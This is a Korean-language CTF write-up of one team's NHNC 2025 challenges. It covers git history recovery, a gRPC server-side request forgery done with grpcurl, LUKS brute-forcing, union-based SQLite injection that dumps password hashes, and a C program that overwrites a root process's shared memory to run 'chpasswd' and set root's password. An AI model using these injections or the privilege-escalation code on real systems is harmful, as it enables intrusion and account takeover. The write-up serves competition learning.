
배경
RubiyaLab CTF
팀으로 NHNC 2025
에 참여하게 되었습니다.
기간 : 2025-07-05 09:00 ~ 2025-07-07 21:00 (KST)
문제 목록
gitgit
-Misc 점수 - 441점, 푼 팀 - 28/335팀 First Blood
Let's Cook Some Delicious Goose!
-Misc 점수 - 466점, 푼 팀 - 21/335팀
Crackme
-Misc 점수 - 500점, 푼 팀 - 3/335팀 First Blood
ICED-SHELL
-Reverse 점수 - 495점, 푼 팀 - 8/335팀
GuessyCTF
-GuessyCTF 점수 - 500점, 푼 팀 - 2/335팀 First Blood
Server Status
-Pwn 점수 - 475점, 푼 팀 - 18/335팀
Server Status Revenge
-Pwn 점수 - 484점, 푼 팀 - 14/335팀
gitgit
문제 상황
Github에 실수로 플래그를 올렸었다는 문제입니다.
분석 과정
github reflog
를 키워드로 검색하여 https://api.github.com/repos/UmmItC/gitgit/events
을 이용해 어떤 커밋이 올라왔었는지 확인했습니다.
https://github.com/UmmItC/gitgit/activity
으로도 확인할 수 있다고 합니다.
Let’s Cook Some Delicious Goose
문제 상황
간단한 웹서버 및 패킷 캡춰본, .proto
파일이 주어졌습니다.
분석 과정
wireshark
패킷 분석을 통해 웹서버에 맞는 패킷을 찾으려 하였으나 찾지 못했었습니다.
.proto
파일이 단서라고 생각해 관련되어 찾아보았고, grpc
파일이라는 것을 찾았습니다.
wireshark
에 .proto
파일을 등록하고 grpc
를 검색하여 패킷을 발견하여 따라갔습니다.
grpcurl
을 이용해 패킷을 보낸것으로 보이며, grpc
로 링크를 줄 시, 해당 링크에 접속해 응답값을 주는 모양입니다.
grpcurl
을 이용해 웹서버의 flag
를 요청했습니다.
go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
grpcurl -plaintext -proto fetch.proto -d "{\"url\":\"http://localhost:80/token\",\"method\":\"GET\",\"headers\":{}}" 1.2.3.4:6666 fetch.FetchService/FetchURL
grpcurl -plaintext -proto fetch.proto -d "{\"url\":\"http://localhost:80/flag\",\"method\":\"POST\",\"headers\":{\"Content-Type\":\"application/x-www-form-urlencoded\"},\"body\":\"token=REDACTED\"}" 1.2.3.4:6666 fetch.FetchService/FetchURL
Crackme
문제 상황
Qemu Disk(qcow2
)파일이 주어졌습니다.
분석 과정
- Qemu로 실행함 -> 패스워드가 걸려있음
- 검색하여
qcow2
파일을wsl2
에 마운트 하였습니다.qcow2
파일은 부트볼륨, 데이터볼륨, luks 암호화볼륨으로 되어있었습니다. - 다음과 같은 파일이 있었습니다.
photorec
은 지워진 파일 복구 도구입니다..photorec.sig
파일을current dir
로 옮긴 뒤,photorec.sig
명칭변경하여 sig 적용 후photorec
을 실행하였습니다. 옵션을 통해 타겟은 커스텀 파일로만 하였습니다.- 1기가 등의 큰 파일이 나왔습니다.
head
명령어를 통해NHNCKEY2025____
로 시작하는 4111바이트를 빼내, 키로luks
드라이브를 열었습니다. cryptsetup luksOpen /dev/nbd0p2 ww3 --key-file key
- 암호화 된 드라이브 파일이 또 나왔으며, wordlist가 나왔습니다. wordlist엔 1000라인의 키가 있었습니다.
- 해시캣이나 툴을 이용해 luks 복호화를 시도했지만, 새로 나온 드라이브는
luks2
로 암호화 되어 툴들이 먹히지 않았습니다. luks2
에 먹히는 https://github.com/glv2/bruteforce-luks 툴을 이용해 복호화를 시도하였습니다- 12스레드 1시간 40% 복호화 진행되였습니다.
- 맥을 가진 팀원의 도움으로 복호화를 빠르게 시도하여 키를 발견하였습니다. 환경별로 성능 영향이 큰 듯 합니다.
- 풀린 파일 내부에는 플래그가 바로 있었습니다.
ICED-SHELL
문제 상황
윈도우 exe파일 및 패킷 파일이 주어졌습니다.
분석 과정
패킷은 이미지에 있는 내용이 전부였으며, Exe는 node
스크립트를 pkg
명령어를 통해 exe
로 번들한 파일이였습니다.
node
내부js
추출 시도하였습니다.- 데이터 영역에
js
코드가 있는지 찾아보았으나 실행 영역은 찾지 못했습니다 - unpacker를 이용해 추출하였으나 바이트코드가 나와 일부 데이터만 알아볼 수 있었습니다.
- 문제를 푼 후, 해당 바이트 코드는
v8 jsc decompiler
를 통해 디스어셈블 및 디컴파일 할 수 있단 것을 알게 되었습니다.
- 문제를 푼 후, 해당 바이트 코드는
- 데이터 영역에
AE50o00ooo00K3Y!
을 키로wireshark
로 건내 받은 패킷을 복호화하였습니다. 처음은 복호화가 되나, iv가 random이여서 전부 복호화 되진 않았습니다.
아래는 wireshark
를 통해 추출된 데이터들입니다.
[0] ca0f3858cc55d5cc85e2fc8d56eae91e
[1] 5a5521129bafca683bc57e41fdf60392
[2] 2fb91c41dde3098addb4942e2fcbc5d82628fa5bf21a63025b19ebb5514a962d
[3] 1ed0812489fd84ef9a5cf0b4de13eb9b
[4] 90829fb86395ecc44d6f8a96bf9d3918f6ec91ab8a1cdc279cc1cf042e05f4c1cd0df8c49805a655a8eccab8ff09377a377306820376e5ea6461a3de5baaae1141622d9a5d46de8c9b53e3854901143b529a319c9d640ae07ae2d6559e4c9e3646c86fafb7f865f7927a94b61950c18da6efd7495175c8ddffd2edfa85a88a7616f2a0fc776c75e5c260d295e9e4c9b29a87d993dd634493f4975baf9015c263d6bc3a95cf6a247f9c3472fbb557f362bdca9af38684193ab0acf97393c150a48592367d6296941a31eda69eb8d814f4
[5] 8a57280e413562adf563d1add9dddf5e693afa47241a1336eaaf4594bfd7c90e2d4a14a5496babc0ad64a80af6b0c7cff8650753bf7b6bb6498ea3763fc42d2f
[6] ed5277d977b5ba9002223115a6656276b738136f94a5e85e496d1cd7bb3320424c056cb99b54480ae981261c73a242b037f6142eb58a7d92362b39ef0f0c2490
[7] eabb91d51534666e1b74e5843c5ed662966f9bf000b0e82a794082336bea0e8d4b9653b9e9e08f14d31c697d6626a71f
[8] 3eac4f8272ccbd86ee4ef4bf4e8d053d0046b97c1d0cb8da3e35820478d1a87f
키가 랜덤이라는 것에 중점을 두어, 첫번째나 두번째 메세지를 iv로 두고 복호화하였으며, 플랙그 값을 얻어냈습니다.
GuessyCTF
문제 상황
.
분석 과정
분석 컨텍스트가 너무 길어 요약만 남깁니다.
- 문제파일에 주어진 움짤을 프레임단위로 잘라, 접속 주소 및
웹 계산기
라는 힌트를 받음 nc
를 통해 해당 주소에 접근,+-*/()
및 숫자만 입력 가능한 계산기였음- 디스코드 메세지에 출제자가 보낸 메세지를 보아,
<w><h><a><l><e> <server> <i><s> <h><and><some><!>
라는 메세지를 추출해냈으며,<h><and><some><!>
의 순서에 해당하는9, 10, 11, 12
를 추출해냈습니다. - 웹 계산기의 정답은
9+10+11+12
였습니다. 그냥 42라고 입력해도 정답이여서, 브루트포스 하는게 편할뻔했습니다. nc
정답에서 나온 암호문을whale...
로 복호화하였습니다.- 트위터에 들어가보니 페이즈북 주소가 있었으며, 페이스북에 가보니 개인 블로그 주소가 있었습니다.
sqlite
키워드로, 로그인에sqlinjection
을 시도했으나 실패했습니다.- 블로그 글은
...com/post?id=1
방식으로 불러지고 있었으며,id=1--
을 넣어보니 정상 동작됐으며,id=1 and 1!=1
을 넣어보니id=999
를 넣은것과 같은 결과가 떴습니다. id=1 and 1!=1 union select "1", "2"
등을 통해 갯수를 늘려보았고, 3개의 값을 받아 표시하는것을 알아냈습니다. 두번재 값이 제목, 세번째 값이 내용이었습니다.id=1 and 1!=1 union select "t",name,sql from sqlite_master where type='table' limit 1 offset 2
을 통해 유저테이블이 어떻게 이루어져있는지 확인했으며- 3개의 계정정보아 비밀번호 해시를 알아냈습니다.
- 3개 계정에 대한 암호를 md5 복호화하여 알아내 로그인하니 플래그가 나왔습니다.
Server Status (Revenge)
Server Status Revenge
과 Server Status
를 같은 코드로 풀었습니다.
Server Status
문제는 dmesg
, Server Status Revenge
문제는 /usr/bin/dmesg
를 호출했다고 합니다.
호출되는 dmesg
를 조작할 수 있었던 것 같습니다.
문제 상황
루트로 실행되는 프로그램이 있었으며, 공유메모리를 통해 데이터를 저장한, 불러와서 dmesg
를 실행하고 있었습니다.
분석 과정
gcc가 가능하여 다음 파일을 sftp
로 넣은 뒤 컴파일 하여 실행하였습니다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <unistd.h>
#include <errno.h>
#define SHM_SIZE 1024
#define MAX_KEY 0xFFFFF // 스캔할 최대 키 값
#define SCAN_INTERVAL_SEC 1 // 전체 스캔 주기 (초)
void find_and_write(key_t key, const char* data) {
int shm_id;
char* shm_addr;
// IPC_CREAT 플래그 없이 shmget을 호출하여 해당 key의 메모리가 '존재하는지' 확인합니다.
shm_id = shmget(key, SHM_SIZE, 0666);
if (shm_id == -1) {
// 대부분의 키는 메모리가 없으므로, 실패하는 것이 정상입니다.
// 따라서 오류 메시지 없이 조용히 반환합니다.
return;
}
// 이 줄에 도달했다면, 해당 key의 공유 메모리를 찾은 것입니다.
printf("발견 (Key: %u)! 데이터 쓰기를 시도합니다...\n", key);
shm_addr = (char*)shmat(shm_id, NULL, 0);
if (shm_addr == (char*)-1) {
perror("shmat failed");
return;
}
// --- 추가 코드 시작: 원래 데이터를 읽어서 출력 ---
{
char original[SHM_SIZE];
// 기존 메모리 내용을 복사 (널 종결자 확보)
strncpy(original, shm_addr, SHM_SIZE - 1);
original[SHM_SIZE - 1] = '\0';
printf("-> 기존 데이터 (Key %u): \"%s\"\n", key, original);
}
// --- 추가 코드 끝 ---
// 데이터를 쓰고 연결을 해제합니다.
strncpy(shm_addr, data, SHM_SIZE - 1);
shm_addr[SHM_SIZE - 1] = '\0';
printf("-> 성공: Key %u에 데이터 쓰기 완료: \"%s\"\n", key, data);
if (shmdt(shm_addr) == -1) {
perror("shmdt failed");
}
}
int main(int argc, char* argv[]) {
// 인자로 '쓸 데이터'를 받습니다.
if (argc != 2) {
fprintf(stderr, "사용법: %s \"<쓸 데이터>\"\n", argv[0]);
return 1;
}
const char* data_to_write = argv[1];
printf("프로그램 시작. 모든 키(0 ~ %u)를 주기적으로 스캔하여 데이터를 씁니다.\n", MAX_KEY);
printf("종료하려면 Ctrl+C를 누르세요.\n");
// 전체 스캔을 반복하는 무한 루프
while (1) {
// 0부터 0xFFFFF까지 모든 키를 순회합니다.
for (key_t key = 1; key <= MAX_KEY; key++) {
find_and_write(key, data_to_write);
}
printf("스캔 완료. %d초 후 다시 시작합니다.\n", SCAN_INTERVAL_SEC);
sleep(SCAN_INTERVAL_SEC);
}
return 0;
}
./a.out "echo 'root:root' | chpasswd" &
이후 루트로 로그인하여 /flag
값을 읽었습니다.
작성자의 글
Server Status Revenge
문제를 풀고 나니 플래그가 맞지 않아 운영진에게 문의했었습니다. 오류였다고 해서 수정했다고 하자마자 제출했는데 First Blood가 아니더라고요…- 재미있었습니다.
참조
- .